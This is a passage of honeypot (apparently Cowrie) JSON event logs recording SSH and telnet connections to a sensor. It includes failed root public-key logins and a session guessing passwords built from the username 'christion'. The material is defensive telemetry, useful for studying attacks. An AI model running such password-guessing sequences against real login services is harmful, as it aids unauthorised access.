","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:35.955067Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:64:a1:a7:56:28:d3:cc:9c:eb:3d:b7:7a:94:71:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TqbJ3E54f/zmFjyDVxbruV9PGanV7gH2zaeTNn9UYE0LTGnoxh508XOh/4zv8G17GCLrW72qYvZ2bF4JMrBltxlFh2Wvu70v86pujZzka7oP9XzMIc78OTt3eBu6Ll01KtkhI05OJHv0od5edU4QvVtNdPB+BHzMLIiakoz77AwlpmGfojD9vNlaIcqxLF5woyeHutoyT1bXDDBwhD8cmBuhzXU9w6UJyGQZEsEcvD0jf4e1pDW1QNu5dqoxMTsou+fe71ROJpBypH9DnqOCcMFZjRkr48ZuQHk2CryH8pJw3sczC9idw20eNs4b/eaExVH+FpegogbXVHGkzueR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:64:a1:a7:56:28:d3:cc:9c:eb:3d:b7:7a:94:71:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.253872Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:64:a1:a7:56:28:d3:cc:9c:eb:3d:b7:7a:94:71:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TqbJ3E54f/zmFjyDVxbruV9PGanV7gH2zaeTNn9UYE0LTGnoxh508XOh/4zv8G17GCLrW72qYvZ2bF4JMrBltxlFh2Wvu70v86pujZzka7oP9XzMIc78OTt3eBu6Ll01KtkhI05OJHv0od5edU4QvVtNdPB+BHzMLIiakoz77AwlpmGfojD9vNlaIcqxLF5woyeHutoyT1bXDDBwhD8cmBuhzXU9w6UJyGQZEsEcvD0jf4e1pDW1QNu5dqoxMTsou+fe71ROJpBypH9DnqOCcMFZjRkr48ZuQHk2CryH8pJw3sczC9idw20eNs4b/eaExVH+FpegogbXVHGkzueR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.258399Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:0f:c8:7b:88:ca:db:94:d8:98:59:d1:a0:35:3c:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUXQD3P7U0dGewBqeQue0wV3ljFKEJJJLvnVrGzc+aN2eOm8RDvXqCiqSlVE65ByQ/AzKNL8EWzyjoNYiSom36miKsGrVLO/zdbtsd6hAeuDO7XKtpBeCk3w5orJ3sSrvQ9/SkrjG1DUk+bd+I5Ej+YcsZbaj7VsCESPZHVUC8IPqHY80h/fqdrrbAZuDtzxeuJY3lwAjQ6zTKooepvQ8g2z0iiZuNamMP2k3/oezLYeHs9fBDSsbAxwYSlUKVyRaD+SLF6pxZaCtYVefaSpv+soxSxkPkmH6ELRJOIBJ8dpNOQauQ9t/+ZUe3sUsej0dWuZAEWxWyHwz26hLoPK5NFnY1Emvflw9R8iHN+s15gx+mgLeatk59evsr64d51iP9TnNwRwC5ccu3eVUGyqRejVMKurjJymwrofu+QBFuxSVQMAZA9cHlkXglMW2YBaOMTlxbHcL3qEXZn+E5w06/MFx3rgNKooligS5EZQuR1823DnvE5K4RAY9JoWHozimkj7zLfZTU1tn1TXs9TEZ3uGwdABjAQqpAyPKG5KVADXkv1EvJTnuAAwT0PXyDmgzF6e4Q0id9hQVFK2kucybYiZyDn/KasHsCz6xHzOzhOI+5zEuCvEDjIWJLMJy8E1Fwm15LLS83brBzxmnH1y9Be8mwulYASXIKNl2tiETAOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:0f:c8:7b:88:ca:db:94:d8:98:59:d1:a0:35:3c:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.325208Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:0f:c8:7b:88:ca:db:94:d8:98:59:d1:a0:35:3c:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUXQD3P7U0dGewBqeQue0wV3ljFKEJJJLvnVrGzc+aN2eOm8RDvXqCiqSlVE65ByQ/AzKNL8EWzyjoNYiSom36miKsGrVLO/zdbtsd6hAeuDO7XKtpBeCk3w5orJ3sSrvQ9/SkrjG1DUk+bd+I5Ej+YcsZbaj7VsCESPZHVUC8IPqHY80h/fqdrrbAZuDtzxeuJY3lwAjQ6zTKooepvQ8g2z0iiZuNamMP2k3/oezLYeHs9fBDSsbAxwYSlUKVyRaD+SLF6pxZaCtYVefaSpv+soxSxkPkmH6ELRJOIBJ8dpNOQauQ9t/+ZUe3sUsej0dWuZAEWxWyHwz26hLoPK5NFnY1Emvflw9R8iHN+s15gx+mgLeatk59evsr64d51iP9TnNwRwC5ccu3eVUGyqRejVMKurjJymwrofu+QBFuxSVQMAZA9cHlkXglMW2YBaOMTlxbHcL3qEXZn+E5w06/MFx3rgNKooligS5EZQuR1823DnvE5K4RAY9JoWHozimkj7zLfZTU1tn1TXs9TEZ3uGwdABjAQqpAyPKG5KVADXkv1EvJTnuAAwT0PXyDmgzF6e4Q0id9hQVFK2kucybYiZyDn/KasHsCz6xHzOzhOI+5zEuCvEDjIWJLMJy8E1Fwm15LLS83brBzxmnH1y9Be8mwulYASXIKNl2tiETAOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.329588Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:5d:c6:56:e4:7e:81:db:0b:e9:82:92:98:f2:10:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZ/dvHI9iMbbzrhxQ6AOKbX7WjKfr4/QcdVBMtjZ5+bDGGrr6T9UIA5mpTkj/NLGmmVyv4Zp2gujitMTK2xdFkd58mJ3upApBL321Oy59W3GFvCfUVtK/zZkR5Ys9SnUhNq3KTazNyuPWWxrjaEPbBOH70rrQTYkerSscX0t+cmpYp2amaWIFT3wXBA8Bo4c6KJiPd6MwxHh7O3DlUcMV5PKGimJ6GHaBj0LDT87zRAfldCEx9bkV+FUomxX9Aw27O9HLCaYhmEbwLlHucN/VBIGM1FzdTVL3cuK9ELkhth5UV/4Gb0aoGJq+l7yEeWNmUgv4DViW7hUlATT/y0fTrDiMy32IhgATh0up4Iv4Xb5VDsrj0q94bJH8fZPZNqHO8j1KluFY96E2cP4AMKGxo25c+vvJ4xQZJU8Wq2e9Q7pKmTMsbEc1D58B05/X+8TJ+FRGZ1i7zIKWvhDxdyRx4Yhq7mV2YHJIt4p8OgbGw9qwTvcENAo+NzJlYA6I0TW186g5r7MV0WDnMmCZHJEdbQNTj64TZGc42i5lQFVAWKrln2BAWCvE9nLICX0mZLgAdWJ8lXSDzzxS9n8FV7Ldy8Z3qeZdJy+oW1QhZnv9ATgJ1t2Sp63MYEBxDX+fMpfsrJ3Bx+wMyvvMo6cpi6VNzWRSVGHCgQXR+rlxtKWBDIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:5d:c6:56:e4:7e:81:db:0b:e9:82:92:98:f2:10:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.397011Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:5d:c6:56:e4:7e:81:db:0b:e9:82:92:98:f2:10:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZ/dvHI9iMbbzrhxQ6AOKbX7WjKfr4/QcdVBMtjZ5+bDGGrr6T9UIA5mpTkj/NLGmmVyv4Zp2gujitMTK2xdFkd58mJ3upApBL321Oy59W3GFvCfUVtK/zZkR5Ys9SnUhNq3KTazNyuPWWxrjaEPbBOH70rrQTYkerSscX0t+cmpYp2amaWIFT3wXBA8Bo4c6KJiPd6MwxHh7O3DlUcMV5PKGimJ6GHaBj0LDT87zRAfldCEx9bkV+FUomxX9Aw27O9HLCaYhmEbwLlHucN/VBIGM1FzdTVL3cuK9ELkhth5UV/4Gb0aoGJq+l7yEeWNmUgv4DViW7hUlATT/y0fTrDiMy32IhgATh0up4Iv4Xb5VDsrj0q94bJH8fZPZNqHO8j1KluFY96E2cP4AMKGxo25c+vvJ4xQZJU8Wq2e9Q7pKmTMsbEc1D58B05/X+8TJ+FRGZ1i7zIKWvhDxdyRx4Yhq7mV2YHJIt4p8OgbGw9qwTvcENAo+NzJlYA6I0TW186g5r7MV0WDnMmCZHJEdbQNTj64TZGc42i5lQFVAWKrln2BAWCvE9nLICX0mZLgAdWJ8lXSDzzxS9n8FV7Ldy8Z3qeZdJy+oW1QhZnv9ATgJ1t2Sp63MYEBxDX+fMpfsrJ3Bx+wMyvvMo6cpi6VNzWRSVGHCgQXR+rlxtKWBDIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.401751Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:12:0f:34:fb:13:73:e8:b8:a4:44:7b:c1:5a:1b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxM0+t3pFwQl/A+dIOc9zD/ucN+8kXgU1l11yyXdFM8FCrSvlJYHWMLPEbg1gDIQ3IZbN1IC0VjOjegL7wTHLWHiQ2+Mxf5C6D8sWpyeiF2KtbkhFA2+nkcbCAU7hGMKqH6ifKUqyeiL6/PPkU0J18PNCNnudQavb+4xF0jG3GU4RNgSEar49Vi+iA+sdjIacPypYwxQO4ezdyokiSBTigg4KpZsC1t31q7c8Y6nEY7KZ1caW1E/7fIJhELIhaZVU+683n00CbthcNGYZknzeyZgV6tWfmFDGO96yZ1QHvCaR+ZZlniZQKFsMUkW3BEFQEpdacH1ZPdBCQwrD/j4mF5xL5Lebaf/ybQsIUSI+WMvsI9AXuqZ635SGuqbgZ2/9grUG19peIyapF5Aty4TpwDcDiatHaACT3tSIkFl7o2qo/fD/5Lkm8lCNGmQvd/734NUQt1NKxJVFRTQ023FAfXwOBFsSOYPEbMlTSwqPAMCUsjyQGQ7BkretlHqQMpKE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:12:0f:34:fb:13:73:e8:b8:a4:44:7b:c1:5a:1b:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.468691Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:12:0f:34:fb:13:73:e8:b8:a4:44:7b:c1:5a:1b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxM0+t3pFwQl/A+dIOc9zD/ucN+8kXgU1l11yyXdFM8FCrSvlJYHWMLPEbg1gDIQ3IZbN1IC0VjOjegL7wTHLWHiQ2+Mxf5C6D8sWpyeiF2KtbkhFA2+nkcbCAU7hGMKqH6ifKUqyeiL6/PPkU0J18PNCNnudQavb+4xF0jG3GU4RNgSEar49Vi+iA+sdjIacPypYwxQO4ezdyokiSBTigg4KpZsC1t31q7c8Y6nEY7KZ1caW1E/7fIJhELIhaZVU+683n00CbthcNGYZknzeyZgV6tWfmFDGO96yZ1QHvCaR+ZZlniZQKFsMUkW3BEFQEpdacH1ZPdBCQwrD/j4mF5xL5Lebaf/ybQsIUSI+WMvsI9AXuqZ635SGuqbgZ2/9grUG19peIyapF5Aty4TpwDcDiatHaACT3tSIkFl7o2qo/fD/5Lkm8lCNGmQvd/734NUQt1NKxJVFRTQ023FAfXwOBFsSOYPEbMlTSwqPAMCUsjyQGQ7BkretlHqQMpKE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.473275Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:86:4d:74:88:3d:91:e0:d0:bb:87:8a:ca:d5:00:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC67k8wSjwpvAU2vCTU6wHlMDUn5a5RGxU+cE5avCiyM+wCCQVcXwnbJrrVbJ4y7/Dyn6vGz+6i6huoK8HsPQpf2htx2herFjvs6PTj7tz1FB46YLgZqfroxmisSxaZwAJ806P2zY0zLhuk7QAKjq+NWZlzxwv8X1MBg1821fRW5fyRVDSZGaGwlk882W7bvdMKuYR6yBDFmXQKpgNQzxsp00uvr6an/1J16TF4Nq4HL/2nIxZ+QH6gyaw4cS3Y04vmhAKqlsz9hIZKV8aBt3yLeW6Hby/h33X4NquTj4lu/q1FDuDSp9z538Nx6W9KpWft0zU9uKz8Gb7WwY/H+uCC3rFdtkwY5CR1GaJwSPhCohbYzYi9r6cnB43eZ+/aTXPaYzJNGQd9BVxMrIu1ncHW8WP0gzOC8VSQIp6H2m81vYtYdPakleLd+jxHz3XCCXABHO18EpI1MILrW/ZkCSa/kIG15bNA2bPM4fktx0sgsZGSCd9qPtFkDqGku3zF8t24Mjyr5blF9DptCQ70zAfd5B8vrbpKH1kiux2FUIfKLtgdVO4c7sGYzIE8zn4B1hT14tmic7sc07jfdeWjG+xLSaxNzgCsq0hA0kjHDSbRzXu14QHlxT8XOEmwwLauzHmItGaal66d+UFB/aOO3SmlzXlCiaVQaW0clFlbF2SXtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:86:4d:74:88:3d:91:e0:d0:bb:87:8a:ca:d5:00:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.546076Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:86:4d:74:88:3d:91:e0:d0:bb:87:8a:ca:d5:00:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC67k8wSjwpvAU2vCTU6wHlMDUn5a5RGxU+cE5avCiyM+wCCQVcXwnbJrrVbJ4y7/Dyn6vGz+6i6huoK8HsPQpf2htx2herFjvs6PTj7tz1FB46YLgZqfroxmisSxaZwAJ806P2zY0zLhuk7QAKjq+NWZlzxwv8X1MBg1821fRW5fyRVDSZGaGwlk882W7bvdMKuYR6yBDFmXQKpgNQzxsp00uvr6an/1J16TF4Nq4HL/2nIxZ+QH6gyaw4cS3Y04vmhAKqlsz9hIZKV8aBt3yLeW6Hby/h33X4NquTj4lu/q1FDuDSp9z538Nx6W9KpWft0zU9uKz8Gb7WwY/H+uCC3rFdtkwY5CR1GaJwSPhCohbYzYi9r6cnB43eZ+/aTXPaYzJNGQd9BVxMrIu1ncHW8WP0gzOC8VSQIp6H2m81vYtYdPakleLd+jxHz3XCCXABHO18EpI1MILrW/ZkCSa/kIG15bNA2bPM4fktx0sgsZGSCd9qPtFkDqGku3zF8t24Mjyr5blF9DptCQ70zAfd5B8vrbpKH1kiux2FUIfKLtgdVO4c7sGYzIE8zn4B1hT14tmic7sc07jfdeWjG+xLSaxNzgCsq0hA0kjHDSbRzXu14QHlxT8XOEmwwLauzHmItGaal66d+UFB/aOO3SmlzXlCiaVQaW0clFlbF2SXtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.549953Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.616759Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44116,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6974fe77c3","protocol":"telnet","message":"New connection: 192.119.13.58:44116 (10.17.0.5:23) [session: 2e6974fe77c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:36.753049Z"}
{"eventid":"cowrie.session.closed","duration":37.94650387763977,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:43.559326Z","src_ip":"192.119.13.58","session":"5312b8c8034d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48266,"dst_ip":"10.17.0.5","dst_port":23,"session":"692c279025a9","protocol":"telnet","message":"New connection: 192.119.13.58:48266 (10.17.0.5:23) [session: 692c279025a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:44.611479Z"}
{"eventid":"cowrie.session.closed","duration":39.39778017997742,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:46.727857Z","src_ip":"192.119.13.58","session":"36ea4b6ba21b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46618,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa81e302373a","protocol":"telnet","message":"New connection: 192.119.13.58:46618 (10.17.0.5:23) [session: fa81e302373a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:50.834996Z"}
{"eventid":"cowrie.session.closed","duration":38.80068826675415,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:57.379638Z","src_ip":"192.119.13.58","session":"8ccb0159d21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53354,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b4b89006cd","protocol":"telnet","message":"New connection: 192.119.13.58:53354 (10.17.0.5:23) [session: 61b4b89006cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:58.967875Z"}
{"eventid":"cowrie.session.closed","duration":47.16838622093201,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:00.978753Z","src_ip":"192.119.13.58","session":"b5db27e3bb9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62693452835083,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:02.530706Z","src_ip":"192.119.13.58","session":"a8d39c035749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36820,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c460f75f04a","protocol":"telnet","message":"New connection: 192.119.13.58:36820 (10.17.0.5:23) [session: 1c460f75f04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:02.867710Z"}
{"eventid":"cowrie.session.closed","duration":49.366467237472534,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:03.263955Z","src_ip":"192.119.13.58","session":"81af91d1c13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47782,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fef36f4b8d","protocol":"telnet","message":"New connection: 192.119.13.58:47782 (10.17.0.5:23) [session: 71fef36f4b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:04.596614Z"}
{"eventid":"cowrie.session.closed","duration":38.84824466705322,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:04.842249Z","src_ip":"192.119.13.58","session":"0572b17e5137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.90471601486206,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:05.072003Z","src_ip":"192.119.13.58","session":"92e93acccba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5945086479187,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:08.847608Z","src_ip":"192.119.13.58","session":"18d7e30441b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40790,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78d8f94490e","protocol":"telnet","message":"New connection: 192.119.13.58:40790 (10.17.0.5:23) [session: e78d8f94490e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:09.775306Z"}
{"eventid":"cowrie.session.closed","duration":45.53304934501648,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:13.052431Z","src_ip":"192.119.13.58","session":"498f57d4cbda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"c535c5d6cbae","protocol":"telnet","message":"New connection: 192.119.13.58:37826 (10.17.0.5:23) [session: c535c5d6cbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:16.092738Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":8195,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f2dd963c0f0","protocol":"ssh","message":"New connection: 213.209.159.56:8195 (159.203.135.109:22) [session: 1f2dd963c0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:21.799646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:21.805658Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:21.887790Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion","message":"login attempt [christion/christion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:22.287707Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37716,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3180b72cd93","protocol":"telnet","message":"New connection: 192.119.13.58:37716 (10.17.0.5:23) [session: c3180b72cd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:22.965471Z"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion1","message":"login attempt [christion/christion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:23.373876Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43330,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a9cdb0b2b50","protocol":"telnet","message":"New connection: 192.119.13.58:43330 (10.17.0.5:23) [session: 9a9cdb0b2b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:24.361348Z"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion123","message":"login attempt [christion/christion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:24.459974Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion1234","message":"login attempt [christion/christion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:25.547344Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6feebc42490","protocol":"telnet","message":"New connection: 192.119.13.58:48880 (10.17.0.5:23) [session: c6feebc42490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:25.692698Z"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion12345","message":"login attempt [christion/christion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:26.632652Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
